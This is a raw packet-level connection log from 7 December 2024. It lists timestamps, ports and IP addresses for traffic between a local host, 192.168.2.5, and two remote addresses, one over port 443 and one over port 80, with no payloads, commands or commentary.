Dec 7, 2024 08:43:34.393445015 CET	443	49763	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.396358013 CET	443	49756	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.396430969 CET	443	49756	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.396534920 CET	49756	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.396722078 CET	49756	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.396725893 CET	443	49756	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.396758080 CET	49756	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.396760941 CET	443	49756	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.398638964 CET	49764	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.398665905 CET	443	49764	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.398753881 CET	49764	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.398852110 CET	49764	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:34.398864031 CET	443	49764	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:34.707024097 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:34.707079887 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.100884914 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.220561028 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.538419008 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.538465977 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.538477898 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.538522005 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.538522005 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.538585901 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.538618088 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.538630962 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.538642883 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.538645983 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.538666964 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.538686037 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.538806915 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.538817883 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.538829088 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.538912058 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.546802044 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.546886921 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.658396959 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.661590099 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.730564117 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.730668068 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.730761051 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.734639883 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.734766006 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.734855890 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.742844105 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.742980957 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.743041992 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.751017094 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.751161098 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.751243114 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.759212971 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.759331942 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.759414911 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.767343044 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.767441988 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.767505884 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.775528908 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.775650978 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.775739908 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.783639908 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.783763885 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.783807993 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.791825056 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.791893959 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.791944027 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.799987078 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.800154924 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.800215006 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.807847023 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.807931900 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.807995081 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.815601110 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.817363024 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.914941072 CET	443	49761	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:35.915509939 CET	49761	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:35.915533066 CET	443	49761	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:35.916006088 CET	49761	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:35.916018009 CET	443	49761	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:35.922532082 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.922607899 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.922641993 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.922684908 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.925015926 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.925101042 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.925930023 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.926042080 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.926096916 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.930918932 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.930975914 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.931027889 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.931186914 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.935904026 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.935966969 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.935985088 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.936028004 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.940788984 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.940838099 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.940895081 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.940948009 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.945538044 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.945585966 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.945660114 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.945702076 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.950321913 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.950383902 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.950445890 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.950515032 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.955074072 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.955200911 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.955285072 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.959849119 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.959909916 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.960024118 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.960144997 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.964562893 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.964618921 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.964679956 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.964868069 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.969283104 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.969336033 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.969407082 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.969557047 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.974060059 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.974123955 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.974268913 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.974320889 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.978857994 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.978981018 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.979043961 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.983593941 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.983632088 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.983688116 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.983817101 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.988306999 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.988363981 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.988431931 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.988488913 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.993056059 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.993134975 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.993148088 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.993285894 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.993793964 CET	443	49760	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:35.997143984 CET	49760	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:35.997164965 CET	443	49760	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:35.997632980 CET	49760	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:35.997638941 CET	443	49760	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:35.997838974 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.997875929 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:35.997946978 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:35.998020887 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.002604961 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.002655029 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.002717018 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.002757072 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.007559061 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.007571936 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.007611036 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.007664919 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.108010054 CET	443	49762	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.108616114 CET	49762	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.108633995 CET	443	49762	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.108860970 CET	443	49763	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.109149933 CET	49762	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.109155893 CET	443	49762	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.109536886 CET	49763	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.109556913 CET	443	49763	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.109997034 CET	49763	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.110002995 CET	443	49763	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.114814997 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.114871979 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.114886999 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.114919901 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.115045071 CET	443	49764	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.115825891 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.115871906 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.115911961 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.115952015 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.119543076 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.119612932 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.119622946 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.119664907 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.122471094 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.122541904 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.122622013 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.122625113 CET	49764	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.122638941 CET	443	49764	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.122682095 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.123183012 CET	49764	443	192.168.2.5	13.107.246.63
Dec 7, 2024 08:43:36.123188972 CET	443	49764	13.107.246.63	192.168.2.5
Dec 7, 2024 08:43:36.126269102 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.126326084 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.126358986 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.126435041 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.130019903 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.130078077 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.130176067 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.133631945 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.133701086 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.133717060 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.133764982 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.137177944 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.137253046 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.137269974 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.137316942 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.140619993 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.140724897 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.140738010 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.140809059 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.144040108 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.144098043 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.144397020 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.144484043 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.147524118 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.147592068 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.147617102 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.147654057 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.150963068 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.151012897 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.151070118 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.151117086 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.154407024 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.154495001 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.154496908 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.154555082 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.157841921 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.157903910 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.157948017 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.158003092 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.161542892 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.161554098 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.161595106 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.164741993 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.164798021 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.164884090 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.165003061 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.168164015 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.168260098 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.168548107 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.168603897 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.171591043 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.171649933 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.171681881 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.171735048 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.175046921 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.175128937 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.175153017 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.175234079 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.178447962 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.178503990 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.178555965 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.178597927 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.181912899 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.181967974 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.182033062 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.182104111 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.185374022 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.185410976 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.185441017 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.185441017 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.188803911 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.188864946 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.188891888 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.188949108 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.192296982 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.192369938 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.192410946 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.192471027 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.195709944 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.195775986 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.195832014 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.195878029 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.199131012 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.199215889 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.199229956 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.199278116 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.202579021 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.202665091 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.202685118 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.202706099 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.206038952 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.206120968 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.206212997 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.206264019 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.209487915 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.209587097 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.209609032 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.209671021 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.212881088 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.212945938 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.212981939 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.213036060 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.216306925 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.216365099 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.216403961 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.216451883 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.219764948 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.219831944 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.219863892 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.219923019 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.223190069 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.223253965 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.306819916 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.306922913 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.306943893 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.307027102 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.308207989 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.308267117 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.308283091 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.308337927 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.310376883 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.310430050 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.310489893 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.310601950 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.313226938 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.313281059 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.313357115 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.313462019 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.316035032 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.316112995 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.316144943 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.316198111 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.318860054 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.318913937 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.318947077 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.318999052 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.321511030 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.321652889 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.321666002 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.321711063 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.324167013 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.324230909 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.324264050 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.324315071 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.326767921 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.326850891 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.326962948 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.327016115 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.329344988 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.329412937 CET	49759	80	192.168.2.5	185.215.113.206
Dec 7, 2024 08:43:36.329459906 CET	80	49759	185.215.113.206	192.168.2.5
Dec 7, 2024 08:43:36.329528093 CET	49759	80	192.168.2.5	185.215.113.206
